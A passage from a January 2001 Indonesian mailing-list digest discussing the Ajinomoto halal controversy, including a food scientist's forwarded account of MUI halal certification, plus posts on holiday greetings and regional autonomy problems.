> menyadari kekeliruannya dan akan mengganti enzim
> bactosoytone (ada campuran babi) dengan enzim lain
> yang tidak mengandung babi.
>
> Berkaitan dengan hal ini wartawan Berpolitik.Com juga
> menemui beberapa ibu-ibu di Depok. Mereka menyatakan
> tetap tidak akan memakai produk Ajinomoto sebagai
> bumbu penyedap. Karena masih banyak bumbu penyedap
> yang lain. Dan lebih percaya kepada fatwa MUI daripada
> pernyataan Gus Dur. *** (num)
>
> Source : berpolitik.com
>
>
> =======================================================
>
> Date: Wed, 10 Jan 2001 00:01:02 -0800 (PST)
> From: Muhammad Dafiq Saib <[EMAIL PROTECTED]>
> Subject: Re: [RantauNet] Nan tatingga
> Reply-To: [EMAIL PROTECTED]
> Wa'alaikum salam wr.wb.,
>
> Salamaik ari rayo pulo baliak. Agak kurang tau ambo
> latak Koto Tangah ko. Padohal ambo anak urang Kamang
> pulo. Bako ambo ka Koto Panjang, Kamang Ilia.
>
> Alah lamo di Baliakpapan?
>
> Wassalamu'alaikum wr.wb.,
>
> Lembang Alam
>
>
> --- irwan <[EMAIL PROTECTED]> wrote:
> > Assalamualaikum,wr.wb
> > Yth, Uda Lembang Alam
> > Partamo ambo sampaikan Selamat Hari Rayo Idul Fitri
> > ,Minal aidin Wal
> > Faidzin.
> > Manginyam Katupek lebaran Uda Ambo jadi taingek jo
> > kampuang wakatu ketek
> > dulu,kebetulan rayo ko ambo indak pulang kampuang,
> > kalau anak Uda marasokan
> > di Balikpapan labiah meriah, ambo di Balikpapan
> > marasokan indak ado nan
> > labiah meriah salain di kampuang doh.
> > Namun ado nan mambuek  hati ambo tasintuah di malam
> > hari rayo di desa ambo
> > Koto tangah Tilatang Kamang di tahun 80 an , surau
> > -surau sepi jo suaro
> > takbiran kalaupun lai suaro takbiran mungkin dari
> > kaset, ambo liek anak-anak
> > sapangkek ambo banyak bagarombolan di tapi jalan
> > raya/simpang. Ambo sempat
> > bapikia apokoh lamo-lamo nantinyo urang kampuang
> > ambo makin jauah dari
> > musajik, musajik banyak gadang-gadang dan taruih di
> > parancak (dapek bantuan
> > dari rantau)  tapi jamaahnyo hanyo babarapo urang
> > tuo-tuo sajo.
> > Mungkin paralu awak pikiakan kalau ka mangirim
> > bantuan untuk musajik di
> > kampung indak lai untuak mamparancak musajik sajo
> > tapi mungkin mambuek
> > musajik manjadi tampaik nan manyanagkan bagi
> > anak-anak sampai anak mudo,
> > mungkin bisa mangambangkan perputakaan mesjid dengan
> > mangirimkam buku-buku
> > bacaan dsb.
> > Sakitu dulu , ambo mohon maaf kalau ada kato-kato
> > ambo nan indak pado
> > tampaiknyo,
> >
> > Wassalam dan maaf
> >
> > I r w a n
> > BALIKPAPAN
>
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Photos - Share your holiday photos online!
> http://photos.yahoo.com/
> =======================================================
>
> Date: Wed, 10 Jan 2001 15:57:23 +0700
> From: Darwin Bahar <[EMAIL PROTECTED]>
> Subject: [RantauNet] PERNIK-PERNIK PELAKSANAAN DESENTRALISASI DAN
> OTONOMI DAERAH (3)
> Reply-To: [EMAIL PROTECTED]
> Rekans
>
> DAN PNS DI SULUT TERANCAM TIDAK TERIMA GAJI
>
> (Dulu ada Anekdot, Raja Thailand ingin mencari suami untuk seorang
> putrinya. Maka beliau membuat sayembara, pria pertama yang berhasil
> membuat gajah putih istana menangis, akan akan menjadi menantunya. Maka
> berdatanganlah para pemuda dari berbagai penjuru dunia guna mengikuti
> sayembara itu. Tidak sedikit pula yang membawa serta pawang dan dukun
> yang sakti mandraguna. Tetapi yang berhasil menyunting sang puteri
> jelita adalah Unyil, seorang PNS dari  Indonesia. Lho? Rupanya ketika
> Unyil yang  anggota Korpri itu menceritakan bagaimana ia hidup sebulan
> dengan gaji yang hanya cukup untuk hidup sepekan, Sang Gajah Putih
> langsung menangis  tersedu-sedu)
>
> Sebagaimana diketahui, secara teknis desotda mecakup empat hal besar:
> (a) pelimpahan kewenangan sebagaian besar tugas-tugas pemerintahan dari
> Pemerintah Pusat kepada daerah; (b) perubahan kelembagaan di pusat dan
> daerah; (c) penyerahan sebagian besar PNS kepada daerah, dan (d)
> pelimpahan aset.
>
> Di antara keempat hal besar tersebut yang paling kritikal adalah
> penyerahan atawa mutasi sebanyak lebih kurang 1,9 juta PNS, karena yang
> mengalami mutasi tersebut adalah manusia, yang kalau tidak dilakukan
> secara cermat, terencana dan terkendali dengan baik bisa menyebabkan
> �Sang Gajah Putih� menangis setiap hari.
>
> Sebagaimana dilaporkan Media Indonesia 6/1/2001:
>
>      �Ribuan pegawai negeri sipil (PNS) di jajaran Pemda Sulawesi
>      Utara terancam tidak menerima gaji, karena dana alokasi umum
>      (DAU) dan gaji pegawai yang dikucurkan pemerintah pusat untuk
>      tahun anggaran baru ini hanya mencapai Rp 111,9 miliar.
>      Sedangkan total anggaran yang diperhitungkan pemerintah
>      setempat untuk membiayai gaji pegawai sebanyak 11.352 orang
>      dan (dibutuhkan) DAU sebesar Rp 120 miliar per tahun.�
>
> Dan jelas hal tersebut di atas tidak hanya kasus Sulut. Sebagaimana
> diberitakan Jawa Pos 8/1/2001, H. Soekarwo, SH, MHum, Kepala Dinas
> Pendapatan Daerah Proviinsi Jatim, menjawab wartawan Jawa Pos yang
> bertanya, �Berarti pelaksanaan otonomi daerah memang sangat prematur?�
>
>      �Menurut saya terlalu berani, sehingga risikonya juga besar.
>      Sekarang saja, blunder sudah mulai terjadi. Misalnya gejala
>      yang muncul sekarang, beberapa daerah mulai berani menolak
>      membayar gaji pegawai dari pusat yang selama ini dititipkan di
>      daerah. Gara-garanya DAU yang simpang siur�
>
> Tetapi yang dihadapi para anggota Korpri---yang pengurusnya digaji oleh
> Pemerintah tetapi sekarang tidak kedengaran bunyinya---tidak hanya tidak
> terbayarkan atau tertundanya pembayaran gaji (membayangkan ini saja saya
> sudah merinding) tetapi tidak sedikit pula akan kehilangan jabatan,
> posisi dan karir yang sudah dibina bertahun-tahun, yang saya tidak bisa
> membayangkan kalau saya yang berada di sana?
>
> Karena itu dengan segala hormat saya kepada integritas, kapabilitas dan
> intelektualitas Prof. Ryaas, semestinya beliau tidak mengatakan orang
> yang mengeritik UU Otonomi Daerah yang diarsitekinya sebagai �orang yang
> tidak tahu masalah�, tetapi tetap di posisi beliau sebagai Meneg
> PAN---betapun sulitnya---dan berusaha mereduksi korban yang tidak perlu
> dalam proses desentralisasi dan otonomi daerah yang tujuannya sangat
> mulia ini. Toh ada juga menteri-menteri yang punya kualitas dan
> integritas, misalnya Mentamben dan Meneg LH yang bisa betahan di
> Kabinet.
>
> Dan saya tidak heran kalau  �Sang Gajah Putih� masih akan menangis di
> hari-hari mendatang.
>
> Tetapi apalah awak ini. Bak mentimun bungkuk, masuk tak genap, keluar
> tak ganjil.
>
> P.S. Naskah asli disiapkan untuk Milis Desentralisasi
>
> Wassalam, Darwin Bahar
>
> =======================================================
>
> From: Afdal Koto <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 15:24:05 +0700
> Subject: [RantauNet] FW: klarifikasi ilmiah Ajinomoto
> Reply-To: [EMAIL PROTECTED]
>
>
> > FYI
> >
> >
> >
> > -----Original Message-----
> > From:       Masrul Sinaga [SMTP:[EMAIL PROTECTED]] <mailto:>
> > Sent:       Wednesday, January 10, 2001 10:35 AM
> > Subject:    klarifikasi ilmiah Ajinomoto
> >
> > Sedikit informasi dari Saudara Anton Apriyantono
> > Staf Jurusan Teknologi Pangan dan Gizi IPB
> >
> >
> >  tentang kasus Ajinomoto dan mudah-mudahan bermanfaat
> >  bagi  kita dalam melihat kasus tersebut.
> >
> >
> > Dear Kolega IPB,
> >
> >
> > Saya menjadi sedih mengikuti pemberitaan kasus Ajinomoto dan diskusi
> > di milis ini.  Beginilah Indonesia, semua persoalan selalu tidak lengkap
> > dan jelas pemberitaannya sehingga selalu dipandang negatif dan
> yang paling
> > parah adalah selalu dikaitkan dengan politik, padahal permasalahan
> > sebenarnya cukup sederhana yaitu KELALAIAN, KETIDAKTAHUAN DAN
> > KEBANDELAN (STUBBORN).
> > Seharusnya kita sebagai ilmuwan bisa lebih bijak dan
> > teliti dalam menyikapi suatu persoalan, cek dulu kebenaran dan duduk
> > persoalan yang sebenarnya.  Tetapi itulah ..akibat ketidaktahuan..
> > sehingga
> > menimbulkan dugaan-dugaan yang tidak perlu.  Untuk itu perkenankan
> > saya memberikan beberapa penjelasan, yang saya yakin, cukup
> akurat karena
> > saya cukup mengetahui persis duduk persoalannya.
> >
> > Hal-hal yang perlu saya jelaskan adalah sbb:
> >
> > 1. Lembaga Pengkajian Pangan, Obat dan Kosmetika MUI (LPPOM MUI)
> > adalah lembaga yang dibentuk oleh MUI atas respons dan tanggungjawab MUI
> > dalam masalah makanan halal, dimana lembaga ini dibentuk setelah
> > terjadinya
> > kasus lemak babi yang menghebohkan di tahun '80an.  Pada waktu pendirian
> > lembaga ini MUI mengadakan kerjasama dengan IPB yang dituangkan dalam
> > bentuk
> > MOU,  sehingga LPPOM MUI memiliki kantor di IPB dan melibatkan cukup
> > banyak
> > staf IPB untuk menjalankan tugas-tugas yang diemban.  Saya
> terlibat dalam
> > tugas-tugas LPPOM MUI sejak tahun-tahun awal berdirinya yaitu sebagai
> > auditor.  LPPOM MUI memiliki missi membantu konsumen dan produsen
> > dalam memproduksi dan menyediakan pangan, obat-obatan dan
> kosmetika halal.
> >
> > Dalam masalah ini MUI bekerjasama dengan Depkes dan Dep Agama,
> > hal ini dituangkan dalam bentuk ikatan formal (maaf saya lupa bentuk
> > ikatannya).
> > Walaupun demikian LPPOM MUI bekerja atas dasar voluntir, tidak memiliki
> > kekuatan  hukum, yang memiliki kekuatan hukum yaitu lembaga pemerintah,
> > sedangkan  LPPOM MUI adalah lembaga nonpemerintah dan nonprofit.
> > Jadi pemeriksaan halal akan dilakukan oleh MUI apabila ada yang meminta
> > (bukan keharusan!!).  Pemeriksaan awal dilakukan oleh LPPOM MUI
> > (dalam banyak kasus lain bersama-sama dengan auditor dari Depkes dan
> > Depag)
> > yang akan menerjunkan para auditornya (kebanyakan staf IPB,
> untuk yang di
> > pusat,
> > sedangkan yang di daerah, seperti di Jatim banyak melibatkan juga para
> > staf pengajar baik yang dari Unibraw maupun PT lainnya), yang akan
> > memeriksa sistem jaminan halalnya, administrasi dan manajemen, produksi
> > dan
> > bahan-bahan yang digunakan.  Hasil auditing kemudian dibicarakan di
> > tingkat LPPOM MUI pusat, apabila masih ada yang dianggap kurang maka
> > dikembalikan ke perusahaan yang diaudit untuk diperbaiki.
> Apabila proses
> > di
> > tingkat LPPOM MUI dianggap selesai maka persoalan dibicarakan di tingkat
> > komisi fatwa MUI.  Di komisi fatwa MUI, apabila tidak ada hal-hal khusus
> > (persoalannnya sudah jelas), maka tinggal mengesahkannya sehingga
> > keluarlah
> > sertifikat halal.  Akan tetapi apabila ada hal-hal khusus seperti
> > hal-hal yang meragukan, maka komisi fatwa akan bekerja lebih
> lanjut untuk
> > menetapkan kehalalannya dari segi syariah.  Jadi pada dasarnya untuk
> > menetapkan kehalalan ini para ilmuwan bekerjasama dengan ulama syariah
> > (komisi fatwa MUI).  Perlu diketahui pula bahwa komisi fatwa MUI
> > terdiri dari ahli syariah dari berbagai kalangan (NU, MUhamadiyah,
> > Persis,dll).
> > Perlu pula diketahui bahwa biaya yang dikeluarkan oleh produsen
> > untuk sertifikasi halal ini sangat rendah, LPPOM MUI hanya menarik
> > biaya antara ratusan ribu sampai maks 2 juta rupiah per produk
> > (tergantung pada besar kecilnya perusahaan), biaya ini terendah di dunia
> > untuk suatu
> > sertifikat halal.  Bayangkan kami sebagai auditor tidak memiliki gaji,
> > yang ada hanya uang jalan yang besarnya Rp. 100.000 per hari jika
> > melakukan
> > auditing, ada juga uang rapat auditor, tapi juga sangat kecil.
> > Jadi saya yakin LPPOM MUI adalah benar-benar lembaga nonprofit.
> >
> >
> >  2. Dalam masalah Ajinomoto ini, sebetulnya memang benar yang
> > dipersoalkan adalah porcine (enzim dari babi) yang digunakan
> > dalam salah satu rangkaian produksinya,
> > tepatnya adalah salah satu nutrient media untuk pertumbuhan
> > mikroba (perlu dicatat disini adalah nutrient ini diproduksi oleh
> > perusahaan lain, bukan oleh Ajinomoto).
> >
> > Disini permasalahannya berbeda dengan kotoran babi yang
> > digunakan untuk pupuk tanaman (jangan lupa dari segi
> > memanfaatkan kotoran babi, ini adalah kegiatan haram,
> > menurut saya, karena memanfaatkan produk babi yang haram,
> > segala kegiatan yang berkaitan dengan pemanfaatan babi
> >  dan khamr serta turunannya dilarang) karena kotoran tersebut
> > terpisah dengan buah, juga tidak sama dengan ikan yang makan
> > kotoran manusia karena ikannya bisa dipuasakan.
> > Pada proses-proses bioteknologi yang melibatkan mikroba, semua media
> > (mengandung nutrien untuk pertumbuhan mikroba)
> > bercampur dengan mikroba dan produk yang
> > dihasilkan.  Pada waktu membuat starter, jika salah satu nutriennya
> > mengandung komponen turunan babi maka starter tersebut akan bercampur
> > dengan komponen tersebut.  Starter yang didalamnya terikut komponen
> > haram ini kemudian digunakan untuk memproduksi MSG.
> > MSG yang diperoleh kemudian dipisahkan dan dimurnikan.
> > Dari sini kita bisa memahami jika komisi fatwa MUI memutuskan
> > bahwa produk MSG dengan cara ini haram karena logikanya
> > dianalogikan dengan pembuatan whey dari air susu dengan menggunakan
> > porcine (enzim dari babi), whey yang dihasilkan haram.
> > Keharamannya menurut
> > saya karena dua hal yaitu karena bercampur (walaupun sesudahnya
> > dipisahkan)
> > dan karena memanfaatkan bahan yang berasal dari babi untuk
> pembuatan bahan
> > pangan (pemanfaatan ini ada yang membolehkan apabila digunakan bukan
> > untuk konsumsi, dalam hal ini bersifat khilafiyah, tetapi kalau untuk
> > konsumsi setahu saya semua sepakat untuk mengharamkannya).
> > Terus terang kami di LPPOM MUI juga terjadi perdebatan seru
> mengenai ini,
> > tetapi akhirnya persoalan dibawa ke komisi fatwa MUI dan diputuskan
> > disana.
> > Sebetulnya fatwa MUI ini juga sejalan dengan pendapat moslem
> scholar dari
> > IFANCA
> > (organisasi sertifikasi halal terbesar di USA)
> > yaitu Dr. Muhammad Munir Chaudry, yaitu produk bioteknologi
> > akan halal apabila dalam rangkaian produksinya menggunakan
> > bahan-bahan yang halal, termasuk media dan
> > nutrien mikrobanya.
> >
> > Ternyata untuk Kosher (makanan halal untuk Yahudi)
> > menerapkan peraturan yang sama.  Silahkan baca Chaudry, M. M.,
> Regenstein,
> > J. M.,
> > 1994. Implications of biotechnology and genetic engeneering for kosher
> > and halal foods. Trends in Food Sci. Technol, 5, 165-168.
> >
> >
> > 3. Sebetulnya dua tahun yang lalu MSG yang diproduksi oleh Ajinomoto
> > Indonesia telah dinyatakan halal dan telah mendapatkan sertifikat
> > halal dari MUI.  Dengan dasar sertifikat halal MUI itulah Ajinomoto
> > Indonesia dapat mengajukan pencantuman label halal ke Ditjen POM Depkes
> > (yang berwenang dalam masalah perlabelan produk pangan jadi
> adalah Depkes,
> > bukan MUI).
> > Masalahnya, pada 6 bulan terakhir ini pihak Ajinomoto merubah
> > salah satu ingredien yang digunakan untuk produksi dengan ingredien yang
> > bermasalah tanpa melaporkannya ke LPPOM MUI.  Dalam perjanjian yang
> > ditandatangani oleh pihak Ajinomoto, apabila terjadi perubahan maka
> > harus melaporkan ke LPPOM MUI sebagai yang memeriksa kehalalannya untuk
> > dievaluasi terus kehalalannya.  Seandainya prosedur tsb dijalankan
> > maka apayang terjadi sekarang seharusnya tidak terjadi karena tentu saja
> > LPPOM
> > MUI akan mengevaluasi dulu kehalalannya sebelum produksi
> dilangsungkan dan
> > dipasarkan.  Jadi peyebabnya masalah ini yang pertama adalah
> > .KELALAIAN.. pihak Ajinomoto.
> >
> > 4. Sebetulnya pihak Ajinomoto juga beberapa bulan yang lalu pernah
> > menanyakan secara pribadi ke saya tentang masalah ini, pada waktu itu
> > saya jawab produknya tidak halal karena alasan-alasan yang saya
> kemukakan
> > diatas, tetapi mereka rupanya belum percaya.  Pada waktu diaudit oleh
> > auditor LPPOM MUI permasalahan ini juga sudah dikemukakan dan
> > produknya diragukan, akan tetapi kelihatannya pihak Ajinomoto belum bisa
> > menerima sehingga persoalannya dibawa ke komisi fatwa.  Seandainya saja
> > pada
> > waktu itu Ajinomoto mau merubah, mungkin persoalannya tidak akan mencuat
> > seperti sekarang.  Jadi inilah yang saya katakan penyebab masalah ini
> > adalah
> > KETIDAKTAHUAN DAN STUBBORN....
> >
> >
> >  5.  Kasus pemusnahan produk akibat menggunakan ingredien haram
> > sebetulnya bukan yang pertama kali terjadi.
> > Kasus ini terjadi di industri flavor
> > yang memproduksi berbagai jenis flavorings untuk bahan pangan.
> > Kebetulan salah satu auditor LPPOM MUI yang terlibat adalah
> saya sendiri.
> >
> > Salah satu produk flavor yaitu yang termasuk savoury/meat flavour
> > (yang digunakan diantaranya untuk mie instant) salah satu ingredien yang
> > dipakai untuk
> > pembuatannya yaitu sistein.  Ternyata sistein ini dibuat atau diperoleh
> > dari rambut manusia.  Menurut kami (LPPOM MUI) sistein ini tidak boleh
> > digunakan, komisi fatwa MUI kemudian menegaskannya bahwa ya barang itu
> > haram. Pihak produsen diberitahu dan bagusnya mereka cepat mengambil
> > tindakan yaitu memusnahkan puluhan ton meat flavor yang sudah
> > diproduksi, sebagian lagi diekspor ke negara nonmuslim.
> > Dengan demikian selamatlah si produsen tadi karena kasusnya
> > tidak terekspos keluar.  Bisa dibayangkan kalau sempat terekspos
> > yakin masyarakat akan geger karena dampaknya
> > diantaranya hampir semua produk mie instant harus ditarik, belum lagi
> > produk-produk lainnya yang menggunakan flavor tersebut.
> >
> > Jadi ... persoalan awalnya murni tidak ada unsur politik, persaingan
> > dagang, dll...  Kalau sekarang terlihat kisruh, ya itulah
> > Indonesia...baru
> > sampai situ taraf budaya kita.  Ya kita yang intelek tentunya harus
> > bertindak, diantaranya:
> >
> > 1. Menyumbangkan tenaga dan pemikiran kita untuk menuntaskan
> > permasalah-permasalahan umat, salah satunya yaitu produk bioteknologi
> > ini, bagaimana hukumnya.. apa saja syaratnya agar produknya
> menjadi halal.
> >
> > 2. Menjaga jangan sampai ikut membingungkan masyarakat, masyarakat
> > kita masih sangat awam, kalau kita belum tahu duduk persoalannya lebih
> > baik
> > diam dulu, sambil mencari tahu dan mencoba mencari penyelesaiannya.
> >
> > 3. Tidak berburuk sangka karena ..sebagian dari buruk sangka adalah
> > dosa .... (Al-Quran, Al-Hujuraat ayat 12).
> >
> > Demikian penjelasan saya, mohon maaf apabila ada penjelasan dan
> > kata-kata saya yang salah, apabila ada yang salah mohon bagi yang
> > mengetahui
> >  kebenarannya untuk meluruskannya.
> >
> >
> >  Wasalam,
> >
> >  Anton Apriyantono
> >  Staf Jurusan Teknologi Pangan dan Gizi IPB
> >
> >
> >
> >
> >
> =======================================================
>
> From: Devi Zelius <[EMAIL PROTECTED]>
> Date: Wed, 10 Jan 2001 15:50:40 +0700
> Subject: [RantauNet] FW: [E88] FWD: Haramnya Ajino-moto
> Reply-To: [EMAIL PROTECTED]
> This message is in MIME format. Since your mail reader does not understand
> this format, some or all of this message may not be legible.
>
> ------_=_NextPart_001_01C07AE3.434DEB5E
> Content-Type: text/plain;
>       charset="iso-8859-1"
>
>
>
> -----Original Message-----
> From: Lutfah Eko Rohmani
> Sent: 08 Januari 2001 11:39
> To:   KMS - Pusri; KMS - Pengurus Pusat
> Subject:      FW: [E88] FWD: Haramnya Ajino-moto
>
> Mungkin informasiko baguno bagi kito tantang Halal atau Haramnyo
> Ajinomoto.
>
> Wassalam,
>
> Devi Z.
>
>
> From: Harumi Cempaka
> To: Anton-IBJ , mbak titin-david , [EMAIL PROTECTED]
> <mailto:[EMAIL PROTECTED]>
> CC: Mirza Adityaswara , Mas Dadit , Yasmine , "Basya G. Himawan"
> > -----Original Message-----
> > From: Dwina Septiani Wijaya
> > Sent: Friday, January 05, 2001 11:44 AM
> > To: Harumi Cempaka
> > -----Original Message-----
> > From: Alinda Medrial [SMTP:[EMAIL PROTECTED]]
> <mailto:[SMTP:[EMAIL PROTECTED]]>
> > Sent: Friday, January 05, 2001 11:28 AM
> >
> > Salam,
> > Akhir-akhir ini ramai berita ttg haramnya Ajinomoto. Penjelasan ilmiah
> > dibawah ini semoga dapat menghilangkan keragu-raguan kita.
> >
> --------------------------------------------------------------------------
>
> > -----------------------------------------
> >
> > Dear Kolega IPB,
> > Saya menjadi sedih mengikuti pemberitaan kasus Ajinomoto dan diskusi di
> > milis ini. Beginilah Indonesia, semua persoalan selalu tidak lengkap dan
> > jelas pemberitaannya sehingga selalu dipandang negatif dan yang paling
> > parah adalah selalu dikaitkan dengan politik, padahal permasalahan
> > sebenarnya cukup sederhana yaitu KELALAIAN, KETIDAKTAHUAN DAN KEBANDELAN
> > (STUBBORN). Seharusnya kita sebagai ilmuwan bisa lebih bijak dan teliti
> > dalam menyikapi suatu persoalan, cek dulu kebenaran dan duduk persoalan
> > yang sebenarnya. Tetapi itulah ..akibat ketidaktahuan.. sehingga
> > menimbulkan dugaan-dugaan yang tidak perlu. Untuk itu perkenankan saya
> > memberikan beberapa penjelasan, yang saya yakin, cukup akurat
> karena saya
> > cukup mengetahui persis duduk persoalannya. Hal-hal yang perlu saya
> > jelaskan adalah sbb:
> > 1. Lembaga Pengkajian Pangan, Obat dan Kosmetika MUI (LPPOM MUI) adalah
> > lembaga yang dibentuk oleh MUI atas respons dan tanggungjawab MUI dalam
> > masalah makanan halal, dimana lembaga ini dibentuk setelah terjadinya
> > kasus lemak babi yang menghebohkan di tahun '80an. Pada waktu pendirian
> > lembaga ini MUI mengadakan kerjasama dengan IPB yang dituangkan dalam
> > bentuk MOU, sehingga LPPOM MUI memiliki kantor di IPB dan
> melibatkan cukup
>
> > banyak staf IPB untuk menjalankan tugas-tugas yang diemban.
> Saya terlibat
> > dalam tugas-tugas LPPOM MUI sejak tahun-tahun awal berdirinya yaitu
> > sebagai auditor. LPPOM MUI memiliki missi membantu konsumen dan produsen
> > dalam memproduksi dan menyediakan pangan, obat-obatan dan
> kosmetika halal.
>
> > Dalam masalah ini MUI bekerjasama dengan Depkes dan Dep Agama, hal ini
> > dituangkan dalam bentuk ikatan formal (maaf saya lupa bentuk ikatannya).
> > Walaupun demikian LPPOM MUI bekerja atas dasar voluntir, tidak memiliki
> > kekuatan hukum, yang memiliki kekuatan hukum yaitu lembaga pemerintah,
> > sedangkan LPPOM MUI adalah lembaga nonpemerintah dan nonprofit. Jadi
> > pemeriksaan halal akan dilakukan oleh MUI apabila ada yang
> meminta (bukan
> > keharusan!!). Pemeriksaan awal dilakukan oleh LPPOM MUI (dalam banyak
> > kasus lain bersama-sama dengan auditor dari Depkes dan Depag) yang akan
> > menerjunkan para auditornya (kebanyakan staf IPB, untuk yang di pusat,
> > sedangkan yang di daerah, seperti di Jatim banyak melibatkan juga para
> > staf pengajar baik yang dari Unibraw maupun PT lainnya), yang akan
> > memeriksa sistem jaminan halalnya, administrasi dan manajemen, produksi
> > dan bahan-bahan yang digunakan. Hasil auditing kemudian dibicarakan di
> > tingkat LPPOM MUI pusat, apabila masih ada yang dianggap kurang maka
> > dikembalikan ke perusahaan yang diaudit untuk diperbaiki. Apabila proses
> > di tingkat LPPOM MUI dianggap selesai maka persoalan dibicarakan di
> > tingkat komisi fatwa MUI. Di komisi fatwa MUI, apabila tidak ada hal-hal
> > khusus (persoalannnya sudah jelas), maka tinggal mengesahkannya sehingga
> > keluarlah sertifikat halal. Akan tetapi apabila ada hal-hal khusus
> > seperti hal-hal yang meragukan, maka komisi fatwa akan bekerja lebih
> > lanjut untuk menetapkan kehalalannya dari segi syariah. Jadi pada
> > dasarnya untuk menetapkan kehalalan ini para ilmuwan bekerjasama dengan
> > ulama syariah (komisi fatwa MUI). Perlu diketahui pula bahwa
> komisi fatwa
> > MUI terdiri dari ahli syariah dari berbagai kalangan (NU, MUhamadiyah,
> > Persis, dll). Perlu pula diketahui bahwa biaya yang dikeluarkan oleh
> > produsen untuk sertifikasi halal ini sangat rendah, LPPOM MUI hanya
> > menarik biaya antara ratusan ribu sampai maks 2 juta rupiah per produk
> > (tergantung pada besar kecilnya perusahaan), biaya ini terendah di dunia
> > untuk suatu sertifikat halal. Bayangkan kami sebagai auditor tidak
> > memiliki gaji, yang ada hanya uang jalan yang besarnya Rp. 100.000 per
> > hari jika melakukan auditing, ada juga uang rapat auditor, tapi juga
> > sangat kecil. Jadi saya yakin LPPOM MUI adalah benar-benar lembaga
> > nonprofit.
> > 2. Dalam masalah Ajinomoto ini, sebetulnya memang benar yang
> > dipersoalkan adalah porcine (enzim dari babi) yang digunakan dalam salah
> > satu rangkaian produksinya, tepatnya adalah salah satu nutrient media
> > untuk pertumbuhan mikroba (perlu dicatat disini adalah nutrient ini
> > diproduksi oleh perusahaan lain, bukan oleh Ajinomoto). Disini
> > permasalahannya berbeda dengan kotoran babi yang digunakan untuk pupuk
> > tanaman (jangan lupa dari segi memanfaatkan kotoran babi, ini adalah
> > kegiatan haram, menurut saya, karena memanfaatkan produk babi
> yang haram,
> > segala kegiatan yang berkaitan dengan pemanfaatan babi dan khamr serta
> > turunannya dilarang) karena kotoran tersebut terpisah dengan buah, juga
> > tidak sama dengan ikan yang makan kotoran manusia karena ikannya bisa
> > dipuasakan. Pada proses-proses bioteknologi yang melibatkan mikroba,
> > semua media (mengandung nutrien untuk pertumbuhan mikroba) bercampur
> > dengan mikroba dan produk yang dihasilkan. Pada waktu membuat starter,
> > jika salah satu nutriennya mengandung komponen turunan babi maka starter
> > tersebut akan bercampur dengan komponen tersebut. Starter yang
> didalamnya
> > terikut komponen haram ini kemudian digunakan untuk memproduksi MSG. MSG
> > yang diperoleh kemudian dipisahkan dan dimurnikan. Dari sini kita bisa
> > memahami jika komisi fatwa MUI memutuskan bahwa produk MSG
> dengan cara ini
>
> > haram karena logikanya dianalogikan dengan pembuatan whey dari air susu
> > dengan menggunakan porcine (enzim dari babi), whey yang
> dihasilkan haram.
> > Keharamannya menurut saya karena dua hal yaitu karena bercampur
> (walaupun
> > sesudahnya dipisahkan) dan karena memanfaatkan bahan yang berasal dari
> > babi untuk pembuatan bahan pangan (pemanfaatan ini ada yang membolehkan
> > apabila digunakan bukan untuk konsumsi, dalam hal ini bersifat
> khilafiyah,
>
> > tetapi kalau untuk konsumsi setahu saya semua sepakat untuk
> > mengharamkannya). Terus terang kami di LPPOM MUI juga terjadi perdebatan
> > seru mengenai ini, tetapi akhirnya persoalan dibawa ke komisi fatwa MUI
> > dan diputuskan disana. Sebetulnya fatwa MUI ini juga sejalan dengan
> > pendapat moslem scholar dari IFANCA (organisasi sertifikasi
> halal terbesar
>
> > di USA) yaitu Dr. Muhammad Munir Chaudry, yaitu produk bioteknologi akan
> > halal apabila dalam rangkaian produksinya menggunakan bahan-bahan yang
> > halal, termasuk media dan nutrien mikrobanya. Ternyata untuk Kosher
> > (makanan halal untuk Yahudi) menerapkan peraturan yang sama. Silahkan
> > baca Chaudry, M. M., Regenstein, J. M., 1994. Implications of
> > biotechnology and genetic engeneering for kosher and halal foods. Trends
> > in Food Sci. Technol, 5, 165-168.
> > 3. Sebetulnya dua tahun yang lalu MSG yang diproduksi oleh Ajinomoto
> > Indonesia telah dinyatakan halal dan telah mendapatkan sertifikat halal
> > dari MUI. Dengan dasar sertifikat halal MUI itulah Ajinomoto Indonesia
> > dapat mengajukan pencantuman label halal ke Ditjen POM Depkes (yang
> > berwenang dalam masalah perlabelan produk pangan jadi adalah
> Depkes, bukan
>
> > MUI). Masalahnya, pada 6 bulan terakhir ini pihak Ajinomoto
> merubah salah
> > satu ingredien yang digunakan untuk produksi dengan ingredien yang
> > bermasalah tanpa melaporkannya ke LPPOM MUI. Dalam perjanjian yang
> > ditandatangani oleh pihak Ajinomoto, apabila terjadi perubahan
> maka harus
> > melaporkan ke LPPOM MUI sebagai yang memeriksa kehalalannya untuk
> > dievaluasi terus kehalalannya. Seandainya prosedur tsb dijalankan maka
> > apa yang terjadi sekarang seharusnya tidak terjadi karena tentu
> saja LPPOM
>
> > MUI akan mengevaluasi dulu kehalalannya sebelum produksi
> dilangsungkan dan
>
> > dipasarkan. Jadi peyebabnya masalah ini yang pertama adalah
> ..KELALAIAN..
> > pihak Ajinomoto.
> > 4. Sebetulnya pihak Ajinomoto juga beberapa bulan yang lalu pernah
> > menanyakan secara pribadi ke saya tentang masalah ini, pada
> waktu itu saya
>
> > jawab produknya tidak halal karena alasan-alasan yang saya kemukakan
> > diatas, tetapi mereka rupanya belum percaya. Pada waktu diaudit oleh
> > auditor LPPOM MUI permasalahan ini juga sudah dikemukakan dan produknya
> > diragukan, akan tetapi kelihatannya pihak Ajinomoto belum bisa menerima
> > sehingga persoalannya dibawa ke komisi fatwa. Seandainya saja pada waktu
> > itu Ajinomoto mau merubah, mungkin persoalannya tidak akan
> mencuat seperti
>
> > sekarang. Jadi inilah yang saya katakan penyebab masalah ini adalah
> > ...KETIDAKTAHUAN DAN STUBBORN....
> > 5. Kasus pemusnahan produk akibat menggunakan ingredien haram
> > sebetulnya bukan yang pertama kali terjadi. Kasus ini terjadi
> di industri
> > flavor yang memproduksi berbagai jenis flavorings untuk bahan pangan.
> > Kebetulan salah satu auditor LPPOM MUI yang terlibat adalah
> saya sendiri.
> > Salah satu produk flavor yaitu yang termasuk savoury/meat flavour (yang
> > digunakan diantaranya untuk mie instant) salah satu ingredien
> yang dipakai
>
> > untuk pembuatannya yaitu sistein. Ternyata sistein ini dibuat atau
> > diperoleh dari rambut manusia. Menurut kami (LPPOM MUI) sistein
> ini tidak
> > boleh digunakan, komisi fatwa MUI kemudian menegaskannya bahwa ya barang
